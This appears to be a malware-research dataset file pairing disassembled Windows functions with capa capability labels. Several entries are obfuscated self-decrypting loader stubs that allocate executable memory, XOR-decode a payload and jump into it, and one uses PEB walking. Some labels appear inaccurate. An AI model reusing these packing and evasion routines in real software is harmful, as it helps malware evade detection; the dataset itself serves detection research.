joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4069c5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4069e9
xor eax, eax
test eax, eax
je 0x4069fc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4069fc
xor ecx, ecx
jmp 0x4069ff
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b22
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dec], 0
push esi
jne 0x406b59
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b33
mov dword [ecx*4 + 0x427de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b2e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406b8a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427de8]
xor eax, esi
inc ecx
dec edx
jne 0x406b6c
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x44015a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x440168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x44014a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x440145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x440145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x1001442f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1001443e
pop dword [ebp - 0x50]
mov eax, 0xb9e4b409
sub eax, 0xa9e36fcb
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xf3e0b2a
sub dword [ebp - 0x60], 0xc0ebc5df
mov dword [ebp - 0x5c], 0x8dd51725
add dword [ebp - 0x5c], 0xa45e3520
mov dword [ebp - 0x58], 0xffa71a84
add dword [ebp - 0x58], 0x4ca529aa
mov dword [ebp - 0x54], 0xa58afea2
add dword [ebp - 0x54], 0x5a75015e
lea eax, [ebp - 0x60]
push eax
mov eax, 0xe0697e44
add eax, 0x2f98d240
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x3e35ddd2
add dword [ebp - 0x60], 0x363c8b84
mov dword [ebp - 0x5c], 0xff0b0bb1
add dword [ebp - 0x5c], 0x426155c4
mov dword [ebp - 0x58], 0xa7527cc7
add dword [ebp - 0x58], 0xbc1cefa5
mov dword [ebp - 0x54], 0x47c64c07
sub dword [ebp - 0x54], 0x47c64c07
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xe144c501
add eax, 0x2ebd8b7b
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x37242
push 0
call eax
mov ecx, 0x35a6
mov ebx, eax
mov esi, 0xc2b1ba0c
sub esi, 0xb2aeae0c
add esi, dword [ebp - 0x50]
mov edx, 0x9ea8367b
add edx, 0xabbef9a9
mov dword [ebp - 0x40], 0x546ee5ba
mov edi, dword [esi]
xor dword [ebp - 0x30], edx
add edi, edx
xor dword [ebp - 8], 0x4a8d1e86
mov dword [ebx], edi
sub dword [ebp - 0x40], edx
add ebx, 0x880b8afa
add ebx, 0x77f4750a
add esi, 4
loop 0x1001455a
add eax, 0x609988bd
sub eax, 0x6098bf52
xor ebx, ebx
add ebx, eax
add eax, 0x58018885
add eax, 0xa7fe7780
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x1001c6a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c73b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c6f2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c6f2
cmp esi, ebx
jge 0x1001c6f2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c735
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c735
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c74d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc
Function at 0x1001c970
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001c998
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001c9b2
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1001442f
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022650
leave
ret 4

Function at 0x1001cb80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001cbb6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cc15
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1001442f
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1001442f
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1001442f
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022650
leave
ret 0x10

Function at 0x1001cc30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cc5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cc8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cc8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1001442f
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cc8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022650
leave
ret 8
Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret

Function at 0x4118ce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4118dd
pop dword [ebp - 0x10]
mov eax, 0xfdf9562a
add eax, 0x247c2b3
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x74d5b253
add dword [ebp - 0x20], 0xd97c92f8
mov dword [ebp - 0x1c], 0xcc4f64d8
sub dword [ebp - 0x1c], 0x9a1c1893
mov dword [ebp - 0x18], 0x7607cd76
add dword [ebp - 0x18], 0xd64476b8
mov dword [ebp - 0x14], 0xfb6b3d72
add dword [ebp - 0x14], 0x494c28e
lea eax, [ebp - 0x20]
push eax
mov eax, 0x235e84c5
add eax, 0xdce2bbcb
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x63ec5102
add dword [ebp - 0x20], 0x10861854
mov dword [ebp - 0x1c], 0x4459aac5
add dword [ebp - 0x1c], 0xfd12b6b0
mov dword [ebp - 0x18], 0xa6ed98a2
sub dword [ebp - 0x18], 0x437e2c36
mov dword [ebp - 0x14], 0x42935104
add dword [ebp - 0x14], 0xbd6caefc
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xe5948b9f
sub eax, 0xe5534b63
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3ad80
push 0
call eax
mov ecx, 0xf009616c
add ecx, 0xff6e6dd
mov ebx, eax
mov edx, 0xfdec8fb4
add edx, 0x255304c
add edx, dword [ebp - 0x10]
mov edi, 0x96ae03f5
sub dword [ebp - 4], 0xf1ac929c
mov esi, dword [edx]
add dword [ebp - 4], 0x885043f4
sub esi, edi
mov dword [ebp - 4], 0x5701a8ef
mov dword [ebx], esi
xor dword [ebp - 0xc], edi
add ebx, 0xf248b701
sub ebx, 0xf248b6fd
add edx, 0x52ba1005
sub edx, 0x52ba1001
loop 0x4119f9
add eax, 0x510949d4
add eax, 0xaef7ca23
xor ebx, ebx
add ebx, eax
add eax, 0xc1a07321
add eax, 0x3e5f8ce4
mov ecx, 0x5decc725
add ecx, 0xa25338db
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40633c
pop dword [ebp - 0x2c]
mov eax, 0x2a5ecef6
add eax, 0xd5e19446
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x67288961
sub dword [ebp - 0x3c], 0x18d64416
mov dword [ebp - 0x38], 0xb799e96c
add dword [ebp - 0x38], 0x7a9962d9
mov dword [ebp - 0x34], 0x4f9bdc90
sub dword [ebp - 0x34], 0x34f9862
mov dword [ebp - 0x30], 0x2de20b71
sub dword [ebp - 0x30], 0x2de20b71
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x8d276011
add eax, 0x7319104f
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x3ef9a8ee
add dword [ebp - 0x3c], 0x3578c068
mov dword [ebp - 0x38], 0x15f71a56
sub dword [ebp - 0x38], 0xd48ab8e1
mov dword [ebp - 0x34], 0xdbf67517
add dword [ebp - 0x34], 0x8778f755
mov dword [ebp - 0x30], 0x71ee1305
sub dword [ebp - 0x30], 0x71ee1305
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xdf9f0037
add eax, 0x20a170c9
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x35881
push 0
call eax
mov ecx, 0x43a7
mov edx, eax
mov esi, 0x960e3d22
sub esi, 0x95cd3d22
add esi, dword [ebp - 0x2c]
mov ebx, 0xd390ca80
add ebx, 0xa71e56c8
xor dword [ebp - 0x10], 0xadc20271
mov edi, dword [esi]
sub dword [ebp - 0x14], 0xde54a496
sub edi, ebx
mov dword [edx], edi
add dword [ebp - 0x14], esi
add edx, 0xc41083a1
sub edx, 0xc410839d
add esi, 0xb173392
sub esi, 0xb17338e
loop 0x406458
add eax, 0xefb7fe1e
sub eax, 0xefb6fcaf
mov ebx, eax
add eax, 5
mov ecx, 0x470b03bc
sub ecx, 0x46cb03bc
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x1000cc3e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002d770
call fcn.10016ea3
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000ccbb
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000ccbb
call fcn.10005a09
mov esi, eax
jmp 0x1000cd92
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000ccde
call fcn.10005a09
jmp 0x1000cd85
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x1000ccd4
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000cd0e
mov esi, 0x8007000e
jmp 0x1000cd87
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1001ec54
jmp 0x1000cd34
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000cd07
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000ccd4
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.1001ec54
mov esi, eax
test edi, edi
je 0x1000cd92
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000cdab
lea ecx, [ebp - 0x418]
call fcn.1000c3cf
mov eax, esi
call fcn.10016df0
ret 0x10
Function at 0x10012247
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002dc29
call fcn.10016e01
mov ebx, ecx
mov eax, dword [ebx]
xor edi, edi
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x100304d0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x10]
call fcn.1001ec54
and dword [ebp - 4], edi
lea esi, [ebx + 0x44]
cmp dword [esi], edi
je 0x100122f2
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1001ec54
mov ecx, dword [esi]
test al, al
je 0x100122d4
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push ecx
push eax
movsd dword es:[edi], dword [esi]
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1001ec54
add esp, 0x28
mov byte [ebp - 4], 0
mov edi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
lea esi, [ebx + 0x44]
jmp 0x100122eb
push 0
push str.Close
push ecx
push 0
push 1
push ebx
call fcn.1001ec54
add esp, 0x18
mov edi, eax
mov ecx, esi
call fcn.10009b23
cmp dword [ebx + 0x24], 0
je 0x10012312
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1001ec54
test al, al
je 0x10012312
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, edi
call fcn.10016dca
ret
Function at 0x10013230
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x214
mov eax, 0x1002dcec
call fcn.10016e35
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x21c], eax
cmp dword [ebx + 8], 0
je 0x1001325b
mov eax, reloc.oleaut32.dll_VariantCopyInd
jmp 0x100133e6
mov eax, dword [ebx - 0xc]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x100304d0]
lea ecx, [ebx - 0xc]
call esi
mov ecx, dword [ebx + 0x14]
test ecx, ecx
jne 0x1001327f
mov eax, 0x80004005
jmp 0x100133e6
mov edx, dword [ebp + 0x10]
mov esi, reloc.oleaut32.dll_SysReAllocString
mov eax, edx
and eax, esi
cmp eax, esi
push dword [ebp - 0x21c]
sete al
mov byte [ecx + 0x31], al
lea ecx, [esi + 2]
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x32], cl
lea eax, [esi + 6]
and edx, eax
cmp edx, eax
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [ebx + 0x14]
add ecx, 0x28
call fcn.1001ec54
mov edi, dword [ebx + 0x14]
mov eax, dword [edi]
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x100304d0]
mov ecx, edi
call esi
push eax
lea ecx, [ebp - 0x220]
call fcn.1001ec54
xor esi, esi
lea ecx, [ebp - 0x220]
push str.Excel.Application
mov dword [ebp - 4], esi
call fcn.1001ec54
test al, al
je 0x100133be
push 0x208
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.10019ba0
mov edi, dword [ebp - 0x21c]
push 0x5c
push edi
call fcn.1001ec54
add esp, 0x14
test eax, eax
jne 0x10013338
push 0x2f
push edi
call fcn.1001ec54
pop ecx
pop ecx
test eax, eax
je 0x10013358
add eax, 2
push 0x2e
push eax
call fcn.1001ec54
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.1001ec54
add esp, 0x14
cmp word [ebp - 0x218], si
je 0x100133b7
push esi
lea eax, [ebp - 0x218]
push eax
push edi
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.1001ec54
pop ecx
pop ecx
mov ecx, dword [ebx + 0x14]
add ecx, 0x24
test eax, eax
jne 0x100133a9
lea eax, [ebp - 0x218]
push eax
call fcn.1001ec54
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x100133af
push edi
call fcn.1001ec54
mov eax, dword [ebx + 0x14]
add eax, 0x24
jmp 0x100133cf
mov esi, 0x80004005
jmp 0x100133d8
mov ecx, dword [ebx + 0x14]
push dword [ebp - 0x21c]
add ecx, 0x24
call fcn.1001ec54
push eax
lea ecx, [ebx + 0x10]
call fcn.1001ec54
push dword [ebp - 0x220]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, esi
call fcn.10016ddf
ret 0xc
Function at 0x10013a90
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002ddab
call fcn.10016e35
mov ebx, ecx
xor ecx, ecx
lea edi, [ebx + 0x40]
mov esi, ecx
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], ecx
cmp dword [edi], ecx
je 0x10013bcc
push 0x10
push ecx
lea eax, [ebp - 0x828]
push eax
call fcn.10019ba0
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantClear]
push esi
push str.Caption
push dword [edi]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], esi
push eax
push 2
push ebx
call fcn.1001ec54
add esp, 0x18
test eax, eax
jne 0x10013b31
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.1001ec54
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.user32.dll_FindWindowW]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
lea ecx, [ebp - 0x818]
push ecx
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100304d0]
mov ecx, ebx
call esi
mov esi, eax
test esi, esi
js 0x10013b70
cmp dword [ebp - 0x818], 0
jne 0x10013b70
push 0
push str.Quit
push dword [edi]
push 0
push 1
push ebx
call fcn.1001ec54
add esp, 0x18
mov esi, eax
mov ecx, edi
call fcn.10009b23
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
mov eax, dword [ebp - 0x814]
test eax, eax
je 0x10013bcc
cmp dword [ebp - 0x818], 0
jne 0x10013bcc
test esi, esi
jns 0x10013bcc
and dword [ebp - 0x814], 0
lea ecx, [ebp - 0x814]
push ecx
push eax
call dword [sym.imp.user32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x814]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, esi
call fcn.10016ddf
ret
Function at 0x10015057
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002dffa
call fcn.10016e35
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015074
xor eax, eax
jmp 0x10015151
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001514f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x10015125
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000127b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000127b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.1001ec54
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x1001512f
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100150a4
jmp 0x10015148
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016ddf
ret
Function at 0x1001eadc
Capabilities:
Authenticate hmac

Disassembly:
movzx edx, word [ecx + 0x32]
mov eax, edx
push esi
cmp edx, 0x46
jne 0x1001eb03
mov eax, dword [ecx]
and eax, 8
or eax, 0
jne 0x1001ec50
mov dword [ecx + 0x1c], 7
pop esi
jmp fcn.1001ec54
cmp edx, 0x4e
jne 0x1001eb2f
mov eax, dword [ecx]
push 8
pop edx
and eax, edx
or eax, 0
jne 0x1001ec50
mov dword [ecx + 0x1c], edx
call fcn.1001ca84
mov dword [eax], 0x16
call fcn.1001c9aa
xor al, al
pop esi
ret
cmp dword [ecx + 0x2c], 0
jne 0x1001eb1b
push 0x6a
pop esi
cmp ax, si
ja 0x1001ec06
je 0x1001ebfd
cmp eax, 0x49
je 0x1001eb97
cmp eax, 0x4c
je 0x1001eb8b
cmp eax, 0x54
je 0x1001eb7f
push 0x68
pop edx
cmp ax, dx
jne 0x1001ec50
mov eax, dword [ecx + 0x10]
cmp word [eax], dx
jne 0x1001eb78
add eax, 2
mov dword [ecx + 0x10], eax
xor eax, eax
inc eax
jmp 0x1001ec4d
push 2
jmp 0x1001ec4c
mov dword [ecx + 0x2c], 0xd
jmp 0x1001ec50
mov dword [ecx + 0x2c], 8
jmp 0x1001ec50
mov edx, dword [ecx + 0x10]
movzx eax, word [edx]
cmp eax, 0x33
jne 0x1001ebbb
cmp word [edx + 2], 0x32
jne 0x1001ebbb
lea eax, [edx + 4]
mov dword [ecx + 0x2c], 0xa
mov dword [ecx + 0x10], eax
jmp 0x1001ec50
cmp eax, 0x36
jne 0x1001ebd6
cmp word [edx + 2], 0x34
jne 0x1001ebd6
lea eax, [edx + 4]
mov dword [ecx + 0x2c], 0xb
mov dword [ecx + 0x10], eax
jmp 0x1001ec50
cmp eax, 0x64
je 0x1001ebf4
cmp eax, 0x69
je 0x1001ebf4
cmp eax, 0x6f
je 0x1001ebf4
cmp eax, 0x75
je 0x1001ebf4
cmp eax, 0x78
je 0x1001ebf4
cmp eax, 0x58
jne 0x1001ec50
mov dword [ecx + 0x2c], 9
jmp 0x1001ec50
mov dword [ecx + 0x2c], 5
jmp 0x1001ec50
push 0x6c
pop esi
cmp ax, si
je 0x1001ec38
cmp eax, 0x74
je 0x1001ec2f
cmp eax, 0x77
je 0x1001ec26
cmp edx, 0x7a
jne 0x1001ec50
mov dword [ecx + 0x2c], 6
jmp 0x1001ec50
mov dword [ecx + 0x2c], 0xc
jmp 0x1001ec50
mov dword [ecx + 0x2c], 7
jmp 0x1001ec50
mov eax, dword [ecx + 0x10]
cmp word [eax], si
jne 0x1001ec4a
add eax, 2
mov dword [ecx + 0x10], eax
push 4
jmp 0x1001ec4c
push 3
pop eax
mov dword [ecx + 0x2c], eax
mov al, 1
pop esi
ret

Function at 0x1001ec54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1001ec63
pop dword [ebp - 0x4c]
mov eax, 0x82f1149b
sub eax, 0x72ef2838
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x432ac
push 0
mov eax, 0x288c8219
sub eax, 0x188980bd
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x248db9cc
add ecx, 0xdb7299df
xor esi, esi
add esi, eax
mov edi, 0x1004bc00
add edi, dword [ebp - 0x4c]
mov ebx, 0x440c226c
sub ebx, 0x85e6f4f
mov dword [ebp - 0x20], 0xdb2417c0
mov edx, dword [edi]
xor dword [ebp - 0x34], esi
xor edx, ebx
sub dword [ebp - 0x24], 0x9cd9754e
mov dword [esi], edx
add dword [ebp - 0x28], 0x76034d59
add esi, 4
add edi, 4
loop 0x1001ecbe
add eax, 0x1417f
mov ebx, eax
add eax, 0x4bfb8521
sub eax, 0x4bfb851c
mov ecx, 0x1fc5769f
add ecx, 0xf03a8961
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret